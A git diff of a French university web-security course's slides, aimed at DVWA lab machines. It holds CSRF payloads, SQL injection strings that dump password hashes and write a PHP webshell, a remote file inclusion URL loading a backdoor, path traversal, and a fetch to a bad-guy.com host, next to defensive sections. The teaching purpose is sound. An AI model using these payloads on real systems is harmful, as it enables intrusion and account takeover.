diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index b7e4f172c09ad6d31e7ba7ff07a3b4c2941248aa..35386f2fd80f29b917324881e03f311019816b5f 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -7,7 +7,7 @@ Tags: cours ## 📚 Supports de cours -<div class="panel panel-success"> +<!-- div class="panel panel-success"> <div class="panel-heading"> <h3 class="panel-title">😎 Personnaliser les slides</h3> </div> @@ -16,7 +16,7 @@ Tags: cours <input type="text" placeholder="username" name="username" id="username" />, tous les références à la VM perso (la vulnérable) dans les slides ci-après, seront <strong>personnalisées avec le fqdn de votre VM</strong>, vous permettant d'appliquer les attaques directement depuis les slides </div> -</div> +</div --> <div class="panel panel-success"> <div class="panel-heading"> @@ -238,6 +238,8 @@ Tags: cours * **l'installation de DVWA** sur votre [VM perso](https://doc.isima.fr/pedagogie/vm/) fait partie de l'évaluation (c.f. section [Evaluation / Installer DVWA sur sa VM perso (2 points)](#installer-dvwa-sur-sa-vm-perso-2-points)) * nom d'utilisateur: kali * mot de passe: kali + * nom d'utilisateur DVWA: admin + * mot de passe DVWA: password * **debian** héberge la vulnérabilité drupalgeddon présentée en fin de cycle de cours * nom d'utilisateur: kali @@ -251,6 +253,8 @@ Tags: cours * nom d'utilisateur: kali * mot de passe: kali +* N.B. [https://perso.limos.fr/mazenod/slides/1337/exploits](https://perso.limos.fr/mazenod/slides/1337/exploits) contient des scripts malicieux que vous utiliserez également pour certaines attaques + Vous trouverez ci après comment redéployer tout cela sur n'importe quelle machine <hr /> diff --git a/content/slides/1337/exploits/getToken.js b/content/slides/1337/exploits/getToken.js index 58346167d859200756be0c251dcbdcbebbe41b6a..409af93fd5c5e3aedcab746fa252ec37b84b52dc 100644 --- a/content/slides/1337/exploits/getToken.js +++ b/content/slides/1337/exploits/getToken.js @@ -5,7 +5,7 @@ function getToken() { .contentDocument .getElementsByName("user_token")[0] .value; - var link = "http://vm-etu-vimazeno.local.isima.fr/" + var link = "http://dv.wa/" + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change" + token; alert(link); diff --git a/content/slides/1337/md/anticiper.md b/content/slides/1337/md/anticiper.md index 2c907b155bcf40331680a5411d9855a355c5319e..9bc6e6006d172ee964eb280153971ac5871c4f74 100644 --- a/content/slides/1337/md/anticiper.md +++ b/content/slides/1337/md/anticiper.md @@ -420,7 +420,7 @@ Note: * [githook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) * [capistrano](http://capistranorb.com/) * [capifony](http://capifony.org/) - * [<i class="fa fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony) + * [<i class="fab fa-github"></i> capistrano/symfony](https://github.com/capistrano/symfony) * [Fabric](http://www.fabfile.org/) * bash <3 @@ -433,7 +433,7 @@ Note: * [mod_security](https://www.modsecurity.org/) * permet entre autre de logger la méthode post facilement * gare à l'espace disque - * [<i class="fa fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs) + * [<i class="fab fa-github"></i> SpiderLabs/owasp-modsecurity-crs](https://github.com/SpiderLabs/owasp-modsecurity-crs) * expressions régulières complexes @@ -448,8 +448,8 @@ Note: * déporter le back office * utiliser la génération de code - * [<i class="fa fa-github"></i> sculpin/sculpin](https://sculpin.io) - * [<i class="fa fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican) + * [<i class="fab fa-github"></i> sculpin/sculpin](https://sculpin.io) + * [<i class="fab fa-github"></i> getpelican/pelican](https://github.com/getpelican/pelican) * interdire l'upload de fichier * utiliser markdown (pure) pour la mise en forme * ou tout autre système de texte enrichi diff --git a/content/slides/1337/md/csp.md b/content/slides/1337/md/csp.md index 236ad284b0b5cc6650eb1a48aa32e54b42fe4f64..3fd4fd04216529d2bdb9100e9f368434deec0be8 100644 --- a/content/slides/1337/md/csp.md +++ b/content/slides/1337/md/csp.md @@ -60,8 +60,11 @@ Content-Security-Policy: ... ``` - * ne fonctionne pas depuis Firefox 72 - * l'entête [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) force la désactivation du [MIME sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing) + +### <i class="fa-solid fa-bomb"></i> CSP / low + +* ne fonctionne pas depuis Firefox 72 + * l'entête [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) force la désactivation du [MIME sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing) * https://www.komodosec.com/post/mime-sniffing-xss * https://medium.com/@puneet29/what-is-mime-sniffing-4f402d303dc8 diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md index ea8df3ff93e593782914e4c90f90e36e69062011..d44b2ccf85608b40fc8734394447895f9b393e9d 100644 --- a/content/slides/1337/md/csrf.md +++ b/content/slides/1337/md/csrf.md @@ -2,10 +2,6 @@ ## aka Cross-Site Request Forgery -<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> -<br /><br /><br /><br /><br /><br /> -<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> - ### <i class="fas fa-cogs"></i> CSRF @@ -64,13 +60,13 @@ New password: pipo Confirm new password: pipo ``` -<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> +<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> * via GET en injectant ```http <iframe - src="javascript:window.location='http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';" + src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';" height="0" width="0" style="border:0;"> </iframe> ``` @@ -78,7 +74,7 @@ Confirm new password: pipo * possible via POST avec en scriptant ```http -<form action="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid" +<form action="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid" onload="document.getElementById('formid').submit();"> <input type="hidden" name="password_new" value="1337"/> <input type="hidden" name="password_conf" value="1337"/> @@ -97,7 +93,7 @@ Note: ### <i class="fa-solid fa-bomb"></i> CSRF / medium -<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> +<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small> ``` That request didn't look correct. @@ -113,14 +109,14 @@ $_SERVER[ 'SERVER_NAME' ]) !== false ) { <i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite** ``` -Referer: http://vm-etu-vimazeno.local.isima.fr/ +Referer: http://dv.wa/ ``` -<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/xss_s) +<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://dv.wa/vulnerabilities/xss_s) ``` Name: CSFR -Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" /> +Message: <img src="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" /> ``` @@ -148,7 +144,7 @@ Message: <img src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?p ### <i class="fa-solid fa-bomb"></i> CSRF / high -<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small> +<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small> <i class="fa-solid fa-lightbulb"></i> procéder en 2 temps @@ -169,14 +165,14 @@ Possible via une [XSS](XSS.html) (mais cassé) .contentDocument .getElementsByName("user_token")[0] .value; - var link = "http://vm-etu-vimazeno.local.isima.fr/" + var link = "http://dv.wa/" + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change" + token; document.getElementById("play_CSRF").src=link; } ``` -<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur vm-etu-vimazeno +<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur dv.wa ### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS @@ -188,7 +184,7 @@ Possible via une [XSS](XSS.html) (mais cassé) Mine de rien <iframe id="get_token" - src="http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/" + src="http://dv.wa/vulnerabilities/csrf/" onload="getToken()" style="display:none"></iframe> <iframe id="play_CSRF" style="display:none"></iframe> ``` @@ -204,7 +200,7 @@ Mine de rien ``` var xhr = new XMLHttpRequest(); -xhr.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/', true); +xhr.open('GET', 'http://dv.wa/vulnerabilities/csrf/', true); xhr.withCredentials = true; xhr.responseType = "document"; xhr.onload = function () { @@ -212,7 +208,7 @@ xhr.onload = function () { }; xhr.send(); var xhr2 = new XMLHttpRequest(); -xhr2.open('GET', 'http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true); +xhr2.open('GET', 'http://dv.wa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true); xhr2.send(); ``` diff --git a/content/slides/1337/md/detecting.md b/content/slides/1337/md/detecting.md index 02a712256ae1c2d3450fb46978857895e2038249..c765fbecb8194e25774d87a38e7decad859fbbbf 100644 --- a/content/slides/1337/md/detecting.md +++ b/content/slides/1337/md/detecting.md @@ -162,7 +162,7 @@ Note: * [Wappalyzer](http://wappalyzer.com) * [BlindElephant Web Application Fingerprinter](http://blindelephant.sourceforge.net/) * [Supporter par Qualys](http://www.qualys.com/blindelephant) -* <i class="fa fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap) +* <i class="fab fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap) * [CMS explorer](https://hackertarget.com/cms-explorer/) * spécialisés * [WPScan](http://wpscan.org/) @@ -259,7 +259,7 @@ Note: - trouve le phpmyadmin -## [<i class="fa fa-github"></i> patator](https://github.com/lanjelot/patator) +## [<i class="fab fa-github"></i> patator](https://github.com/lanjelot/patator) * [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README) * Brute force en tout genre @@ -298,7 +298,7 @@ Note: * des codes http inattendus * tout ce qui se différencie du cas normal -#### [<i class="fa fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing +#### [<i class="fab fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing Note: - mode comparaison de burb diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md index 440e199d4cebfd15094cfc013b15fea6815e8d8a..af74b59b39d8e6f7063dfab3b50176a7e48680ec 100644 --- a/content/slides/1337/md/drupalgeddon.md +++ b/content/slides/1337/md/drupalgeddon.md @@ -37,7 +37,7 @@ $ chmod -R 0700 sites/default/files ## Trouver un système vulnérable sur le www * ne filtrer que les drupal vulnérables - * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) + * [<i class="fab fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap) ```http $ python cmsmap.py -t http://drup.al @@ -137,7 +137,7 @@ Note: ## PoC -[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) +[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) ```php $url = $argv[1]; diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index bb446b262ebe29de4e3ae61c387dda6a137170b2..b027905e2678b53496c6896bf1cd25224dd539fd 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -98,7 +98,7 @@ allow_url_include=On # just for test purpose * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small> -## RFI / security medium +### <i class="fa-solid fa-bomb"></i> RFI / security medium ```php $file = str_replace( @@ -124,7 +124,7 @@ Note: - on reste bien sur security low pour que ca marche -## LFI / security medium +### <i class="fa-solid fa-bomb"></i> LFI / security medium ```php $file = str_replace( @@ -146,7 +146,7 @@ Note: </small> -## LFI / security high +### <i class="fa-solid fa-bomb"></i> LFI / security high ```php if( !fnmatch( "file*", $file ) && $file != "include.php" ) { @@ -166,8 +166,9 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) { * [/?page=file/../../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file/../../../../../../etc/hosts) -## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) +### <i class="fa fa-medkit"></i> open_base_dir +* [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php) * le chemin vers le fichier est analysé * si le fichier est à l'extérieur des dossiers spécifiés @@ -176,7 +177,7 @@ if( !fnmatch( "file*", $file ) && $file != "include.php" ) { * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique -## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) +### <i class="fa fa-medkit"></i> open_base_dir * `.` inclue le fichier lui-même * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) @@ -192,7 +193,7 @@ Note: - on peut désactiver chdir ... -## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) +### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) * [realpath()](http://php.net/manual/fr/function.realpath.php) * converti tous les *.* et **..** en path absolue @@ -202,7 +203,7 @@ Note: * 2 fonctions qui combinées évitent les directory traversal -## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) +### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = $_GET['user']; @@ -221,7 +222,7 @@ readfile($filename); ne préserve pas d'une LFI dans le même répertoire -## <i class="fa fa-medkit"></i> Se préserver +### <i class="fa fa-medkit"></i> Se préserver * déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php) * utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) diff --git a/content/slides/1337/md/gathering.md b/content/slides/1337/md/gathering.md index 5041f39800df49a298cff97d9f956cdc3745368e..1adddbca4fd0790c36500b6f0ab647c170f05f14 100644 --- a/content/slides/1337/md/gathering.md +++ b/content/slides/1337/md/gathering.md @@ -192,7 +192,7 @@ Note: - silencieux envers la cible -## [<i class="fa fa-github"></i> laramies/theHarvester](https://github.com/laramies/theHarvester) +## [<i class="fab fa-github"></i> laramies/theHarvester](https://github.com/laramies/theHarvester) * Domaine en entrée pour en sortie * des mails diff --git a/content/slides/1337/md/heartbleed.md b/content/slides/1337/md/heartbleed.md index a7b98228bc75d074180c58f8f0e3dce7fe51835b..fe34d9d888be78a22b7ba107014798ea48b10518 100644 --- a/content/slides/1337/md/heartbleed.md +++ b/content/slides/1337/md/heartbleed.md @@ -161,7 +161,7 @@ PORT STATE SERVICE ### exploit <i class="fa fa-spinner fa-spin"></i> -* [<i class="fa fa-github"></i> akenn/hb-test.py](https://gist.github.com/akenn/10159084) +* [<i class="fab fa-github"></i> akenn/hb-test.py](https://gist.github.com/akenn/10159084) * [<i class="fa fa-newspaper-o"></i> Andrew Kennedy blog - Heartbleed](http://akenn.org/blog/Heartbleed/) * [<i class="fa fa-gear"></i> https://heart.bleed ](https://heart.bleed ) * nginx renvoie sur un formulaire d'authentification servi par apache en forçant https diff --git a/content/slides/1337/md/js.md b/content/slides/1337/md/js.md index f80d2495e4553ccb5b6eac526e34d35a15437242..f290e2a3d3f5d6b6478e30de3e9c21255dc4c9d7 100644 --- a/content/slides/1337/md/js.md +++ b/content/slides/1337/md/js.md @@ -151,7 +151,7 @@ directement dans les événements associés à un élément du DOM * le résultat reçu est utilisable par js * json -[<i class="fa fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30) +[<i class="fab fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30) <i class="fa fa-book"></i> Apprendre JS diff --git a/content/slides/1337/md/lab.md b/content/slides/1337/md/lab.md index 8c455b03813acee5b07826a2b99db98123156f83..5245aac6de5a915cf7cb61ee5ddc66cab3909405 100644 --- a/content/slides/1337/md/lab.md +++ b/content/slides/1337/md/lab.md @@ -4,22 +4,11 @@ ### h4PpY H4Ck1nG - -## <i class="fa-solid fa-poo-storm"></i> pitch V1 😜 - -* [http://vm-etu-vimazeno.local.isima.fr](http://vm-etu-vimazeno.local.isima.fr) - * la vulnérable -* [https://perso.limos.fr/mazenod/slides/1337/exploits](https://perso.limos.fr/mazenod/slides/1337/exploits) - * la malicieuse -* [kali](https://www.kali.org/) - * l'attaquante - - ## <i class="fa-solid fa-poo-storm"></i> pitch V2 🙉 * [http://dvwa](http://dvwa) * la vulnérable -* [http://kali/exploits](http://kali/exploits) +* [https://perso.limos.fr/mazenod/slides/1337/exploits](https://perso.limos.fr/mazenod/slides/1337/exploits) * la malicieuse * [kali](https://www.kali.org/) * l'attaquante @@ -33,6 +22,8 @@ * la mututalisée moisie * [http://thenetwork](http://thenetwork) * la white box pour l'audit de sécurité (*FISA ONLY*) +* [http://debian11](http://debian11) + * la fresh ## VirtualBox diff --git a/content/slides/1337/md/sidoine.md b/content/slides/1337/md/sidoine.md index 111e024da93f31aea228b19ce765639ff8148605..740a039fb77034c82d04c63a6ad3c8eec00fe06f 100644 --- a/content/slides/1337/md/sidoine.md +++ b/content/slides/1337/md/sidoine.md @@ -411,7 +411,7 @@ Note: ## Exploit -[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) +[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon) ```php $url = $argv[1]; diff --git a/content/slides/1337/md/sop.md b/content/slides/1337/md/sop.md index 6c551e261ef1c35aa719ce7bd9a678229e7cdd7b..b2dd8e901f7d1140088709af68dd683cbf14a177 100644 --- a/content/slides/1337/md/sop.md +++ b/content/slides/1337/md/sop.md @@ -1,15 +1,13 @@ -# SOP / CORS / CORS +# SOP / CORS / CORB -## a.k.a Same Origin Policy -## a.k.a Cross Origin Resource Sharing -## a.k.a Cross-Origin Read Blocking +## a.k.a Same Origin Policy / Cross Origin Resource Sharing / Cross-Origin Read Blocking ### <i class="fa fa-medkit"></i> **SOP** / Same Origin Policy * https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy -* restreint les interactionsaux ressources de même origine +* restreint les interactions aux ressources de même origine * protocole + "://" + hôte + ":" + [port] * concerne `<script>`, `<link>`, `<img>`, `<video>`, `<audio>`, `<object>`, `<embed>`, `@font-face`, `<iframe>` @@ -19,13 +17,12 @@ protège l'intégrité de la page ```js -$(function() { // on Load jQuery style - $.ajax({ - url: "http://bad-guy.com/data.php" - }).done(function(untrustedData) { - injectInMyDOM(untrustedData); +fetch('http://bad-guy.com/data.php') + .then((DOMResponse) => { + document + .getElementById("particualr-div") + .appendChild(DOMResponse); }); -}); ``` <!-- .element style="text-align: center" --> @@ -36,15 +33,18 @@ $(function() { // on Load jQuery style protège la confidentialité des sessions ```js -$(function() { // on Load jQuery style - $.ajax({ - url: "https://gmail.com" - }).done(function(sensitiveData) { - $.post("http://bad-guy.com/data.php", { - sensitive_data: sensitiveData - }); +fetch('https://gmail.com') + .then((sensitiveData) => { + fetch('https://gmail.com', { + method: 'POST', + body: JSON.stringify({ + data: sensitiveData, + }), + headers: { + 'Content-type': 'application/json; charset=UTF-8', + } + }) }); -}); ``` diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index 3ec2ce5a1b924e1aaf6b2a2b2ae2bdea29c45a43..3c4683ff28776307c57d59cefb5befbeb6d0743d 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -4,9 +4,6 @@  -<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> -<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> - ### <i class="fa fa-cogs"></i> SQLi * envoie de données à un interpréteur @@ -39,7 +36,7 @@ ### <i class="fa-solid fa-bomb"></i> SQLi / low * détectable en tentant les caractères d'échappement **"** ou **'** en -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small> * L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL ``` @@ -47,7 +44,7 @@ ``` * affiche la liste de tous les utilisateurs -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small> <i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs @@ -59,9 +56,9 @@ déterminer le nombre de paramètres de la requêtes User ID: ' OR 1=1 ORDER BY 1 # ``` -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small> -<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small> +<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small> <i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT @@ -85,7 +82,7 @@ afficher la base de données et l'utilisateur courant First name: dvwa Surname: dvwa@localhost ``` - <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small> + <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small> <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table** @@ -100,7 +97,7 @@ User ID: 6' UNION SELECT table_name,2 WHERE TABLE_SCHEMA = 'dvwa' # ``` -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> ### <i class="fa-solid fa-bomb"></i> SQLi / low @@ -113,7 +110,7 @@ User ID: 6' UNION SELECT column_name,2 WHERE TABLE_SCHEMA = 'dvwa' # ``` -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> ### <i class="fa-solid fa-bomb"></i> SQLi / low @@ -124,7 +121,7 @@ afficher les champs `user` & `password` de la table `users` User ID: 6' UNION SELECT user,password FROM users # ``` -<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small> +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://dv.wa/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small> <i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel** @@ -373,7 +370,7 @@ User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" * les différentes techniques d'injections ```http -sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;" +sqlmap --url "https://dv.wa/vulnerabilities/sqli/?id= #;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables ``` @@ -381,7 +378,7 @@ sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= # <i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session -### <i class="fa fa-medkit"></i> SQLi / Fix +### <i class="fa fa-medkit"></i> SQLi / Se préserver * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * Utiliser des requêtes préparées @@ -395,7 +392,7 @@ Note: - TODO regarder si les messages sont désactiables à partir de MySQL -### <i class="fa fa-medkit"></i> SQLi / Fix +### <i class="fa fa-medkit"></i> SQLi / Se préserver * Filtrage par listes blanches * caster @@ -405,7 +402,7 @@ Note: * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) -### <i class="fa fa-medkit"></i> SQLi / Fix +### <i class="fa 